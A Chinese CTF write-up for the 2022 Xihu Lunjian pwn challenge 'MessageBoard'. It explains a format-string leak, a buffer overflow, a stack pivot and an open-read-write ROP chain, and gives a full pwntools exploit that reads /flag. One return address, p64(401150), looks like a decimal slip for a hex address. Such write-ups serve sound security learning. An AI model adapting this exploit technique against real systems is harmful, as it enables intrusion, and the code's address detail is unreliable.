西湖论剑 2022 PWN MessageBoard

分析及利用

题目附件

分析:

  1. 格式化字符串漏洞泄露栈和libc的地址
  2. 缓冲区写溢出实现控制流劫持
  3. rip被劫持时rbp可控,故通过两次leave;ret;劫持rsp
  4. rop链执行orw读取并打印flag(本题通过seccomp禁用了execve系统调用)

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./pwn")
mylibc = ELF("./libc.so.6")
io = process(myelf.path)
# io = remote()

io.recvuntil("name:")
# gdb.attach(io,"b *0x401367") # 0x40138C 0x4013a2 0x401367
# sleep(3)
io.send(b"%31$p%p")
io.recvuntil(b"Hello, 0x")
libc_base = int(io.recv(12),16) - 0x24083
stack_addr = int(io.recv(14)[2:],16)
fake_rbp = stack_addr + 0x10
print(b"[+] leak libc_addr: 0x%x" % libc_base)
print(b"[+] leak stack_addr: 0x%x" % stack_addr)
io.recvuntil(b"DASCTF:")

open_addr = libc_base + mylibc.symbols['open']
read_addr = libc_base + mylibc.symbols['read']
write_addr = libc_base + mylibc.symbols['write']
print(b"[+] open addr : 0x%x" % open_addr)

pop_rdi_ret = p64(libc_base + 0x23b6a)
pop_rsi_ret = p64(libc_base + 0x2601f)
pop_rdx_ret = p64(libc_base + 0x142c92)

aaa = b"/flag\x00\x00\x00" # rbp
aaa += pop_rdi_ret # rip
aaa += p64(fake_rbp)
aaa += pop_rsi_ret
aaa += p64(0)
aaa += p64(open_addr) # open("/flag",0)
aaa += pop_rdi_ret
aaa += p64(3)
aaa += pop_rsi_ret
aaa += p64(0x4040B0)
aaa += pop_rdx_ret
aaa += p64(100)
aaa += p64(read_addr) # read(3,0x4040B0,100)
aaa += pop_rdi_ret
aaa += p64(1)
aaa += pop_rsi_ret
aaa += p64(0x4040B0)
aaa += pop_rdx_ret
aaa += p64(100)
aaa += p64(write_addr) # write(1,0x4040B0,100)
aaa += p64(401150) # start func

payload = aaa + b"a"*(176 - len(aaa)) + p64(fake_rbp) + p64(0x4013A2)
io.send(payload)

io.interactive()

seccomp

pwn – 沙盒机制详解

PWN题中常见的seccomp绕过方法